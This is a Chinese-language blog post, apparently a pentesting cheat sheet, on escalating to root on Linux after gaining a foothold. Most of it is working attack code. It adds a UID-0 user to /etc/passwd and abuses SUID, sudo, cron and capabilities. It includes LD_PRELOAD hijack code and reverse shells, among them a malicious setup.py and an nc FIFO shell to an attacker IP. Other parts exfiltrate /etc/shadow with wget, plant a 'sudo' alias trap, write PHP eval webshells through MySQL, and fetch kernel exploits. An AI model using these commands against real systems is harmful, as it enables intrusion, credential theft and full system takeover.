Linux提权方式

file

本文將會持續更新(大概)

当你在渗透过程中,你拿下的后门一开始都未必是root,一开始可能是一个较低权限的用户。这时候我们需要通过各种方式(如系统漏洞,软件缺陷)来提权,获得更高权限。

练习

基础信息收集

file

提权分为横向提权(Horizontal privilege),纵向提权(Vertical privilege)。
横向提权:从user1继承user2的权限这样逐步提升权限,最后再提升到root。这是横向提权。
纵向提权:直接从user1跨越其他用户,直接提升到root用户。

拿到webshell之后的起手式要做的动作

判断发行版

1
2
3
4
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release # Debian based
cat /etc/redhat-release # Redhat based

判断内核和系统位数

1
2
3
4
5
6
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-

网络信息

1
2
3
4
ip a
ifconfig
cat /etc/network/interfaces
cat /etc/sysconfig/network

当前进程(最好看看root用户运行的进程

1
2
3
4
5
6
7
ps aux
ps -ef
top
cat /etc/services

ps aux | grep root
ps -ef | grep root

软件版本

1
2
3
4
5
6
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

信息收集脚本

每次自动信息收集不累吗?来试试自动化信息收集脚本吧。下面的脚本有些无法在bash4.0以下运行(如LinPeas.sh)

LinEnum

LinEnum是用于枚举本机Linux系统上的各种信息,如服务信息,系统信息,用户等。

下载:LinEnum

LinPEAS

Linpeas

Linux_Exploit_Suggester

漏洞利用建议

linuxprivchecker

lse

敏感信息泄露

配置文件信息泄露

有些服务的配置文件上面是明文写帐号密码的,一些不够严谨的系统管理员,会将部分服务的密码作为root用户的密码。

SSH-Key私钥泄露

ssh十分重要的两个文件

  • id_rsa
  • id_rsa.pub

id_rsa.pub会让攻击者知道你的公钥以及你的用户名
id_rsa则是记载私钥,攻击者获取私钥后,可暴力破解。如果私钥没有加密的话,攻击者可以直接使用私钥连接服务器。

openvpn

  • *.ovpn (用户的连接配置文件)
    有可能存在密钥信息或者是明文密码
  • /etc/openvpn/auth.txt
  • ~/.irssi/config

history

~/.bash_history

这里也是找敏感信息的好地方~

vi/vim .swp

vi/vim的恢复文件.swp里面有该文件的所有者的用户名,和路径信息。如果能在网站上找到这文件,或许你就能知道绝对路径和用户名了。

image-20201127135304969

网站CMS的config.php

位置不定,一般以config.php和inc.php之类的里面会写数据库连接的用户名和密码。

wordpress

  • 根目录/wordpress/admin/wp-config.php
  • 根目录/admin/wp-config.php

错误配置提权

错误配置 /etc/passwd

什么是/etc/passwd,点击这里了解

如果某个用户具有/etc/passwd的写入权限的,那么我们可以使用这个用户,往/etc/passwd里面写入一个新的用户。(这不常见,一般/etc/passwd不会带有可写权限)
格式为

1
2
用户名:密码哈希:用户ID:组ID:备注:家目录:shell
username:password hash:UID:GID:User ID Info:Home:command/shell

所以如果我们要新建一个等同于root的新用户。要这么写

1
new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash

要生成密码哈希值的话,需要用到openssl

1
openssl passwd -1 -salt [new] [123] 

-1是生成md5加密 new字段用户名,撒盐 123指密码

然后直接

1
echo 'new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash' >>/etc/passwd

添加好后,虽然登陆是登陆new这个名字的用户,但是实际上是root用户,因为Linux下使用uid去识别的。

错误配置 /etc/shadow

/etc/shadow文件存储了用户的密码哈希加密字段。如果一个低权限用户能查看这个文件,那么就可以拿这个加密过得哈希值去暴力破解得到真实密码。

SUID位二进制文件提权

Linux系统中,会有部分命令的权限位是rws而不是rwx这些文件被称为SUID文件

SUID 权限仅对二进制可执行文件有效,
如果执行者对于该二进制可执行文件具有x的权限,执行者将具有该文件的所有者的权限
本权限仅在执行该二进制可执行文件的过程中有效

The setuid and setgid flags have an effect only on binary executable files and not on scripts (e.g., Bash, Perl, Python).

setuid和setgid权限,只对二进制文件生效,对脚本文件不会生效。

所以如果随意设置SUID文件,可能会导致系统很危险。
SGID文件同理,只不过SGID,是执行者将具有该文件的所有组权限。

而SBIT权限只对目录有效,SBIT对目录的作用是:当用户在该目录下创建新文件或目录时,仅有自己和 root 才有权力删除。

总结一下:

  • SUID,执行者将具有owner的权限
  • SGID,执行者将具有group的权限
  • SGIT,目录属性下用户新建的文件或目录,只有owner和root才能删除
  • SUID和SGID只有
1
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

这里有更多的信息:SUID
这里有一个SUID提权的实例:kenobi

SUID-exim-CVE-2016-1531 提权

exim <= 4.84-3

exploit利用

SUID nginx CVE-2016-1247 提权

漏洞信息和EXP

要求:

  • 拿到www-data用户权限
  • nginx < 1.10.2-r3

执行exp后

等待第二天6点工作排程更新。获取root权限

SUID suid-so 共享对象库注入

1
find / -type f -perm -04000 -ls 2>/dev/null

1
strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"

可以看到有一个链接库文件在家目录的.config下,是我们可以利用的,所以。

~/.config目录下创建一个libcalc.c文件

1
#include <stdio.h>#include <stdlib.h>static void inject() __attribute__((constructor));void inject() {    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");}

编译

1
gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c

然后执行suid-so文件。就提权了

SUID env提权

假设有以下两个文件suid-env,suid-env2。这两个文件具有suid位权限。

1
TCM@debian:~/.config$ strings /usr/local/bin/suid-env/lib64/ld-linux-x86-64.so.25q;Xq__gmon_start__libc.so.6setresgidsetresuidsystem__libc_start_mainGLIBC_2.2.5fff.fffff.l$ Lt$(L|$0Hservice apache2 startTCM@debian:~/.config$ strings /usr/local/bin/suid-env2/lib64/ld-linux-x86-64.so.2__gmon_start__libc.so.6setresgidsetresuidsystem__libc_start_mainGLIBC_2.2.5fff.fffff.l$ Lt$(L|$0H/usr/sbin/service apache2 start

用strings能够看到最后执行的语句是

  • service apache2 start
  • /usr/sbin/service apache2 start

第一种没有绝对路径的service

1
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/service.cgcc /tmp/service.c -o /tmp/serviceexport PATH=/tmp:$PATH/usr/local/bin/suid-env

第二种有绝对路径的service

1
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }export -f /usr/sbin/service/usr/local/bin/suid-env2
1
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c '/usr/local/bin/suid-env2; set +x; /tmp/bash -p'

suid xxd

1
xxd '/etc/shadow' | xxd -r

suid taskset

1
taskset 1 /bin/sh -p

suid cp

如果遇到suid位的cp,则可以利用/etc/passwd创建一个等同与root用户的账号。

1
cat /etc/passwd >> /tmp/passwd   ##此时的/tmp/passwd权限位当前用户应该是可写的openssl passwd -1 -salt abc 123echo 'abc:$1$abc$98/EDagBiz63dxD3fhRFk1:0:0:root:/root:/bin/bash' >> /tmp/passwdcp /tmp/passwd /etc/passwdsu abc

sudo 提权

sudo -l
这个命令可以列出当前用户可以使用超级用户的什么命令。
如果目标可以执行sudo vi的话。
可以再打开vim之后 使用:!sh 来打开一个shell

1
[root@123~]# whoamiroot

或者不打开vim,直接使用

1
sudo vim -c '!sh'

sudo nmap

nmap 2.02 - 5.21

可以打开交互界面提权。

1
nmap --interactivenmap>!sh

nmap 脚本提权

1
TF=$(mktemp)echo 'os.execute("/bin/sh")' > $TFsudo nmap --script=$TF

等价于

1
echo "os.execute('/bin/sh')" > shell.nse && sudo nmap --script=shell.nse

sudo apache2

动态连接共享库提权

这个是利用动态链接共享对象库提权

动态链接共享对象库提权
1
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.csudo LD_PRELOAD=/tmp/preload.so program-name-here

此时应该也会生成一个root_shell了

preload
1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}

1
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.csudo LD_LIBRARY_PATH=/tmp apache2

此时应该也会生成一个root_shell了。

library_path.c
1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}

滥用预期功能

1
sudo apache2 -f /etc/shadow

爆破就完事了…

sudo find

find 命令有一个参数可以执行命令

1
sudo find /bin -name nano -exec /bin/sh \;

sudo awk

1
sudo awk 'BEGIN {system("/bin/sh")}'

sudo zip

要求sudo配置如下

  • <user> ALL=(ALL) NOPASSWD: /usr/bin/zip(不是一定要这样,只要能sudo执行zip就可以了)

可以这样利用:

GTFOBins-ziplink
1
2
3
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF

也可以:

类Unix系统上使用zip命令进行本地提权link
1
2
touch raj.txt
zip 1.zip raj.txt -T --unzip-command="sh -c sh"

不过有可能会有些机器不支持unzip-command模块,会报这样的错误。

$ sudo -u jsmith zip 1.zip 1.txt -T –unzip-conmmand=’sh -c sh’

zip error: Invalid command arguments (long option ‘unzip-conmmand’ not supported)

sudo tar

1
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

sudo perl

1
sudo perl -e 'exec "/bin/sh";'

或者是执行一个perl反弹shell的脚本。

sudo vi/vim

1
sudo vim -c ':!/bin/bash'

sudo java

先msfvenom生成一个jar的木马上传到目标机器

1
sudo java -jar your_muma_name.jar

sudo man

1
sudo man man!/bin/bash

sudo wget

法一

1
#攻击者执行nc -lvnp 80 > hash#目标执行sudo wget --post-file /etc/shadow hacker-ip#攻击者执行john hash --wordlist=rockyou.txt

法二

先获取目标的/etc/passwd,并往里面添加一个uid为0密码123的权限用户,假设用户名为abc。

1
#攻击者执行python -m http.server 80#目标执行sudo wget -O /etc/passwd hacker-ip/passwdsu abc or ssh [email protected]

如果目标系统上有以root身份运行的脚本,可以在攻击机本地新建一个同名的,并追加恶意脚本内容,目标环境用wget下载-O另存为一个新文件的方式来覆盖掉。

sudo yum

没有fpm环境

1
TF=$(mktemp -d)cat >$TF/x<<EOF[main]plugins=1pluginpath=$TFpluginconfpath=$TFEOFcat >$TF/y.conf<<EOF[main]enabled=1EOFcat >$TF/y.py<<EOFimport osimport yumfrom yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVErequires_api_version='2.1'def init_hook(conduit):os.execl('/bin/sh','/bin/sh')EOFsudo yum -c $TF/x --enableplugin=y

有fpm环境

1
TF=$(mktemp -d)echo 'id' > $TF/x.shfpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TFsudo yum localinstall -y x-1.0-1.noarch.rpm

sudo pkexec

1
sudo pkexec --user root /bin/bash

sudo systemctl

1
sudo systemctl!sh

创建一个服务的方式

1
TF=$(mktemp).serviceecho '[Service]Type=oneshotExecStart=/bin/sh -c "id > /tmp/output"[Install]WantedBy=multi-user.target' > $TFsudo systemctl link $TFsudo systemctl enable --now $TF

sudo journalctl

1
sudo journalctl!/bin/bash

sudo strace

1
sudo strace -o /dev/null /bin/sh

sudo taskset

1
sudo taskset 1 /bin/sh -p

sudo pip/pip3

法一

1
2
3
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip3 install $TF

如果直接利用不行,那就是试试先打开一个python pty,再尝试利用。

1
2
3
4
python3 -c 'import pty;pty.spawn("/bin/bash")'
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip3 install $TF

法二

安装恶意setup.py脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from setuptools 
import setup from setuptools.command.install
import install
import os, socket, subprocess
class CustomInstall(install):
def run(self):
install.run(self)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
setup(name='FakePip', version='0.0.1', description='Reverse shell', url='xx.xx.xx.xx', author='nathan', author_email='xx@xx', license='MIT', zip_safe=False, cmdclass={'install': CustomInstall})
1
sudo pip3 install . --upgrade --force-reinstall

sudo CVE-2019-14287 提权

要求

  • sudo版本低于v1.8.28
  • /etc/sudoers 配置要求如下(要求一组特定权限)
    • <user> ALL=(ALL:!root) NOPASSWD: ALL

<user> ALL=(ALL:!root) NOPASSWD: ALL代表该用户能以非root的身份运行所有命令

注意:root的uid永远为0

使用这个漏洞之前,我们需要知道sudo的一个参数-u

sudo -u#0 <command>

即以uid为0的用户去运行这个命令.

1
$ sudo -u#0 whoami[sudo] password for abc:root$ sudo -u#1 whoamibin

那么如果我们输入一个uid位为无符号的整型的时候会怎么样呢??

sudo -u#-1 whoami

答案



sd
如果目标机器的sudo版本以及拥有特定权限都满足以上条件,那么你就能获得root权限.

Sudo会错误地将-1或者4294967295读取为0(即root)。 这意味着通过将UID指定为-14294967295,就能以root身份执行命令

再次提醒:您需要sudo版本以及拥有非root sudo权限的情况下,才能起作用.否则毫无价值.

sudo CVE-2019-18634 提权

sudo版本要求

  • sudo版本低于1.8.26
  • sudo配置开启pwfeedback

这与CVE-2019-14287的不同之处在于,CVE-2019-14287要求特定的权限,而CVE-2019-18634不需要任何特定的权限,即使是未在sudoers文件中列出的用户也可利用此漏洞。

CVE-2019-18634 使用到了缓冲区溢出攻击(Buffer Overflow)

pwfeedback选项是可让用户在输入密码时提供可视化的反馈(辅助输入)。

pwfeedback 在Linux Mint和 elementary OS 默认开启,但在其他系统就不是了.需要管理员开启才能生效

Sudo的开发者Todd C. Miller表示,利用此漏洞和sudo权限无关,只需要启用了pwfeedback即可。

当sudo提示输入密码时,可以通过管道符将大量输入传递给sudo,从而重现漏洞,例如:

1
$ perl -e 'print(("A" x 100 . "\x{00}") x 50)' | sudo -S idPassword: Segmentation fault

在这个命令中,我们使用Perl生成大量无用字符,然后使用管道符将这些字符作为密码传递给sudo命令。

但是这实际上并没有给我们root权限,相反,它向我们显示了一个错误消息:Segmentation fault,这基本上意味着我们试图访问一些我们不应该访问的内存。这证明了缓冲区溢出漏洞的存在:现在我们只需要利用它

exp作者:saleemrashid

1
wget https://raw.githubusercontent.com/saleemrashid/sudo-cve-2019-18634/master/exploit.cgcc -o exploit exploit.c./exploit

cve-2019-18634

漏洞出现的原因有两个:

  • 当从终端设备以外的设备读取数据时,pwfeedback选项不会被忽略。由于缺少终端,已保存的行擦除字符的版本保持其初始值0。

  • 如果出现写错误,擦除星号行的代码就无法正确地重置缓冲区位置,但是会重置剩余的缓冲区长度。因此,getln()函数可以写入缓冲区的末尾。

sudo LD_PRELOAD环境变量提权

Linux操作系统的动态链接库在加载过程中,动态链接器会先读取LD_PRELOAD环境变量和默认配置文件/etc/ld.so.preload,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载,因为它们的优先级比LD_LIBRARY_PATH环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。
Linux权限维持之LD_PRELOAD

1
#include <stdio.h>#include <sys/types.h>#include <stdlib.h>void _init() {    unsetenv("LD_PRELOAD");    setgid(0);    setuid(0);    system("/bin/bash");}
1
gcc -fPIC -shared -o /tmp/x.so x.c -nostartfilessudo LD_PRELOAD=/tmp/x.so apache2

记一个比较秀的sudo提权

Why does .bashrc have write access by non-root users by default?

Why does .bashrc have write access by non-root users by default?
I am not really sure if there is any non-malicious use cases where ~/.bashrc needs to be writable without root. Anyone with write access to .bashrc can make an alias like
alias sudo=’sudo BAD_COMMAND; sudo’
Wouldn’t it make more sense to make bashrc harder to write to?

如果你拿到了一个非root,但是又拥有sudo权限的用户的shell.而你不知道该用户的密码,可以这样提权.

修改该用户的shell的配置文件,添加一个别名sudo

1
alias sudo ='sudo nc -nv IP PORT 2>/dev/null &;sudo'

监听端口,等待用户上线后sudo命令输入密码获得shell.

Capabilities

Capabilities

Capabilities 机制是在 Linux 内核 2.2 之后引入的,原理很简单,就是将之前与超级用户 root(UID=0)关联的特权细分为不同的功能组,Capabilites 作为线程(Linux 并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。
这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是 root,就去检查其是否具有该特权操作所对应的 capabilities,并以此为依据,决定是否可以执行特权操作。

管理工具

  • getcap
  • setcap
  • capsh
  • filecap

这些命令来自libcap和labcap-ng包。如名字一样,get用于查询,set用于设置,capsh则用于查当前shell进程的capabilities,filecap既能设置也能查询。

查找设置了Capabilities的可执行文件

1
getcap -r / 2>/dev/null

perl

1
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

gdb

1
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

php

1
php -r "posix_setuid(0); system('/bin/sh');"

python

1
python -c 'import os; os.setuid(0); os.system("/bin/sh")'

rvim

需要支持python3模块。

1
rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

vim

需要支持python3模块。vim --version查询,是否支持py3

1
vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

tar

tar可以使用cap_dac_read_search绕过文件的读权限检查以及目录的读/执行权限的检查,来读取敏感信息。

1
tar cvf shadow.tar /etc/shadow  //创建压缩文件tar -xvf shadow.tar  //解压缩cd etc  //进入解压缩的目录chmod +r shadow  //赋予读权限cat shadow | grep root  //查看shadow文件的内容

zip等程序也可以达到相同的目标。

问题:如果给tar设置 cap_setuid 能否使用通配符提权呢?

结果:好的,不行

openssl

当openssl的Capabilities为空时。

1
//使用openssl生成证书cd /tmpopenssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes//启动web服务器,监听1337端口cd /python3 -m http.server 8000openssl s_server -key /tmp/key.pem -cert /tmp/cert.pem -port 1337 -HTTP//访问本机的web服务,读取/etc/shadow文件curl -k “https://127.0.0.1:8000/etc/shadow“

cron jobs 提权

cron daemon是它可以安排在特定时间,做特定工作。
如果你不了解crontab,你可以看看这里
总而言之,crontab可以安排工作。而它的格式如下

1
# * * * * * user command1 0 24 * * * root touch /root/hello.txt

ID 分 时 日 月 周 用户 命令
一个星号代表一个数,而数则表示时间。
表示每天的24点整,root用户在家目录中创建一个hello.txt的文件

cron 日志

Cenots

1
cat /var/log/cron.log|grep "CRON"

Ubunt/Debian

1
cat /var/log/syslog|grep "CRON"

cron jobs 文件权限(文件重写)

而如果你刚好看到排程中,有一个以root用户执行的脚本,而恰好那个脚本可以让普通用户写入。
那么你可以重写那个脚本,执行你想要的操作(如msfvenom生成的木马)。

1
msfvenom -p cmd/unix/reverse_netcat lhost=LOCALIP lport=8888 R

生成一个可以反弹到netcat的shell。R参数是格式控制,剔除bad characters。
把msfvenom输出的代码写入你可以写入的脚本就可以了。
监听指令

1
nc -lvp 8888

开启监听端口后,等待工作排程的执行。一旦执行,那你应该会获得一个root的shell了。

cron jobs环境变量提权

只有在crontab有添加用户变量的前提下做

1
SHELL=/bin/shPATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin1 0 24 * * * bash shell.sh

那么此时,我们就可以修改在/home/user下新建一个名为shell.sh的文件,脚本内容可以是直接运行一个shell,也可以直接netcat反向连接给攻击机。
新建好之后要给shell.sh添加运行权限。

cron jobs 通配符提权

通配符提权相关文章:

cat /etc/crontab 内容如下

1
2
3
SHELL=/bin/shPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

1 0 24 * * * tar cf /home/milesydson/backups/backup.tgz /var/www/html/*

利用方式如下

payload
1
2
3
4
5
6

cd /var/www/html/
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > "--checkpoint=1"
echo "mkfifo /tmp/cflw;nc 10.10.58.45 8888 0 < /tmp/clfw | /bin/sh >/tmp/cflw 2>&1 " > shell.sh

但是查看crontab不能只查看/etc/crontab一个地方,还要看/etc/cron.*的任务,系统定时任务,看看有没什么能利用的

以及使用crontab -l也看下

环境变量提权(劫持环境变量)

什么是环境变量?

PATH is an environmental variable in Linux and Unix-like operating systems which specifies directories that hold executable programs. When the user run any command in the terminal, it searches for executable files with the help of the PATH Variable in response to commands executed by a user.
It is very simple to view the Path of the relevant user with help of the command “echo $PATH”.

PATH是Linux和类似Unix的操作系统中的环境变量,它指定包含可执行程序的目录。 当用户在终端中运行任何命令时,它会响应用户执行的命令,在PATH变量的帮助下搜索可执行文件。

使用一个环境变量对一个SUID二进制文件进行提权的话,需要有一个前提条件,那就是:系统管理员错误的写了脚本的路径(没有写绝对路径,如果没有写死路径,而是单单使用ls,这样我们就可以去修改系统的环境变量使其执行,我们伪造的文件。达到我们想要的效果。

如果我们有一个具有SUID的二进制文件,运行它,观察它调用了什么系统进程 如psls等。

假设我们已经有一个具有SUID的二进制文件,而运行它后将会执行ls的程序。我们可以写一个模拟可执行文件
格式是

1
echo "你想要运行的命令" > 我们模仿的可执行文件

如上文所说,我们有一个可以执行ls的二进制文件,并且它具有SUID位。而我们是要拿到shell,那我们应该这样写

1
echo "/bin/bash" > ls

给生成的文件,添加一个权限

1
chmod +x ls

最后,添加一个环境变量。我们生成的ls文件所处在的目录

1
export PATH=生成的ls文件所再的目录:$PATH如果ls文件在/tmp下就export PATH=/tmp:$PATH

而此时再执行一次那个具有SUID的二进制文件后,你就会发现我们已经拿到root的shell了。

利用PATH环境变量进行Linux提权

思考题:如果看到crontab有一个自动执行某个脚本的任务,并且脚本内程序路径并没有被写死。是否能通过改变环境变量的方式去反弹一个shell呢?

答案

不能,因为crontab有单独的环境变量,不会被用户的修改的临时变量所影响。

内核漏洞提权

CVE-2021-3493

影响版本:

  • Ubuntu 20.10
  • Ubuntu 20.04 LTS
  • Ubuntu 18.04 LTS
  • Ubuntu 16.04 LTS
  • Ubuntu 14.04 ESM
  • (overlayfs 5.11)
1
gcc exploit.c -o exploitchmod +x exploit./exploit

脏牛提权 CVE-2016-5195

CVE-2016-5195
1
gcc dc32.c -o cowroot -pthread

去exploit-db找到利用补丁,编译后运行就可以了。

CVE-2003-0127

ptrace/kmod

CVE-2009-2698

{ % link “Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - ‘ip_append_data()’ Ring0 Privilege Escalation (1)” “https://www.exploit-db.com/exploits/9542“ % }

CVE-2010-2959

Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32) - ‘CAN BCM’ Local Privilege Escalation

内核:2.6.32-generic

版本:Ubuntu 10.04

ExpDB ID:14814

CVE-2013-2094

内核:2.6.38-8-server #42-Ubuntu
版本:Ubuntu 11.04
CVE-2013-2094

CVE-2017-16995

影响内核

1
Debian 9.0 kernel 4.9.0-3-amd64;        Deepin 15.5 kernel 4.9.0-deepin13-amd64;        ElementaryOS 0.4.1 kernel 4.8.0-52-generic;        Fedora 25 kernel 4.8.6-300.fc25.x86_64;        Fedora 26 kernel 4.11.8-300.fc26.x86_64;        Fedora 27 kernel 4.13.9-300.fc27.x86_64;        Gentoo 2.2 kernel 4.5.2-aufs-r;        Linux Mint 17.3 kernel 4.4.0-89-generic;        Linux Mint 18.0 kernel 4.8.0-58-generic;        Linux Mint 18.3 kernel 4.13.0-16-generic;        Mageia 6 kernel 4.9.35-desktop-1.mga6;        Manjero 16.10 kernel 4.4.28-2-MANJARO;        Solus 3 kernel 4.12.7-11.current;        Ubuntu 14.04.1 kernel 4.4.0-89-generic;        Ubuntu 16.04.2 kernel 4.8.0-45-generic;        Ubuntu 16.04.3 kernel 4.10.0-28-generic;        Ubuntu 17.04 kernel 4.10.0-19-generic;        ZorinOS 12.1 kernel 4.8.0-39-generic.

exp

CVE-2010-4170

内核:linux 2.6.18-194
版本:Centos5.5

systemtap漏洞 linux 2.6.18-194内核提权

1
printf "install uprobes /bin/sh" > exploit.conf; MODPROBE_OPTIONS="-C exploit.conf" staprun -u whatever

CVE-2002-0056

影响版本

Linux Kernel 2.6.39 < 3.2.2 (x86/x64)

测试环境

内核:3.0.0.12-generic

版本:Ubuntu 11.10

Explodb-id:

1
$ gcc -o 18411 18411.c$ ./18411                                                                                                                                                                                        [56/1648]================================          Mempodipper        ==           by zx2c4          ==         Jan 21, 2012        ================================[+] Waiting for transferred fd in parent.[+] Executing child from child fork.[+] Opening parent mem /proc/5163/mem in child.[+] Sending fd 3 to parent.[+] Assigning fd 5 to stderr.[+] Reading su for exit@plt.[+] Resolved exit@plt to 0x8049520.[+] Calculating su padding.[+] Seeking to offset 0x8049514.[+] Executing su with shellcode.# whoamiroot

如果发现只执行到一半就没了,请检查你的获取的shell,该提权需要一个稳定的shell,如SSH。伪终端可以试下。

其他第三方程序

USBCreator D-Bus

原文:USBCreator D-Bus Privilege Escalation in Ubuntu Desktop

译文: Ubuntu桌面版USBCreator D-Bus权限提升漏洞分析

利用要求:

  • sudo 用户组

获取root的id_rsa。

1
gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /tmp/id_rsa true

如果root id_rsa不存在

1
2
3
cp /etc/passwd ./
echo 'new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash' >>./passwd
gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /home/nadav/passwd /etc/passwd true

Docker提权

如果多用户借助docker共用一台机器的情况下,并且当前用户具有docker组的权限,可以直接运行一个镜像获得镜像里面的root权限,去修改镜像外的/etc/passwd来提权。

1
docker run -v /:/mnt --rm -it alpine chroot /mnt shcat /etc/passwd

docker内部的/etc/passwd和外部的/etc/passwd一样,所以,可以直接往里面添加个用户。实现提权。

Docker remote api

如果目标服务器开启了docker api ,但是未做访问控制。那么我就可以通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建容器,甚至是获取宿主机的shell

  1. 修改 / root/.ssh/authorized_keys 或 /etc/passwd等文件
  2. 修改 / etc/crontab 等计划任务文件
利用

暂时没有。。。以后有空填坑

参考

LXD容器提权

LXD是Linux的一个轻量级容器,如果当前用户具有lxd组权限,则可以导入一个镜像,挂载主系统下的磁盘内容。

1
2
3
4
5
6
7
8
# 攻击机器上执行
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
./build-alpine

# 此命令必须以root用户执行,之后会生成一个tar.gz的压缩包。

python3 -m http.server 80
1
2
3
4
5
6
7
8
9
10
11
12
wget http://Your-Vps-IP/alpine-v3.12-x86_64-20200908_2138.tar.gz -O /tmp/alpine-v3.12.tar.gz

lxc image import ./alpine-v3.12.tar.gz --alias alpine-v3.12

lxc init alpine-v3.12 ignite -c security.privileged=true

lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true

lxc start ignite

lxc exec ignite /bin/sh

image-20200909095740510

image-20200909095753491

image-20200909095818082

Kubernetes 容器

((还没实验,先留坑

CVE-2018-1002105

CVE-2017-1002101

Mysql提权

参考文章:

sql注入读取文件without sqlmap

示例: 读取/etc/passwd。

1
http://192.168.56.104/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,load_file(0x2f6574632f706173737764),3,4,5,6,7,8,9http://192.168.56.104/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,load_file(CHAR(47, 101, 116, 99, 47, 112, 97, 115, 115, 119, 100)),3,4,5,6,7,8,9

读取的文件名要进行转码,转码要求不能带引号

写一句话获得webshell

secure-file-priv写一句话

获取webshell的条件也是苛刻,首先

  • GPC关闭
  • 对web目录有写的权限
  • 知道web目录的绝对路径
  • 没有配置secure-file-priv

mysql5.7版本 secure-file-priv默认为NULL了

首先查看数据库配置

1
show variables like '%secure%';+--------------------------+-------+| Variable_name            | Value |+--------------------------+-------+| require_secure_transport | OFF   || secure_auth              | ON    || secure_file_priv         |       |+--------------------------+-------+select '<?php eval($_POST[admin])?>' into outfile '/home/wwwroot/https/shell.php'

如果outfile函数不能用则可以使用

1
select '<?php eval($_POST[admin])?>' into dumpfile '/home/wwwroot/https/shell.php'
日志写入一句话

利用要求:

  • 管理员权限
  • 知道网站的绝对路径

必要选项:

  • general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
  • general log file 指的是日志的保存路径。

这两个选项能通过在mysql或者是在phpmyadmin中打开。执行一条sql语句便会被记录到日志文件中。所以只要把日志保存的路径和日志文件名设置成网站路径下的php,就可以生成一个文件,并把一句话代入到其中。

1
set global general_log='on';set global general_log_file='D:/phpstudy/PHPTutorial/WWW/xxx.php'select '<?php eval($_POST[a]);?>';

UDF

1
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';

如果成功的话,就可以直接利用sys_exec去执行系统的命令.

1
select sys_exec('chmod u+s /bin/bash'); # 如果执行成功,/bin/bash将会成为suid位文件,普通用户直接bash -p就能获得root权限.

NFS

oscp真题解析-NFS

NFS版本漏洞

1
searchsploit nfs | grep -v 'dos' | grep -v 'windows'

权限配置不当

检查机器上的NFS配置

1
cat /etc/exports

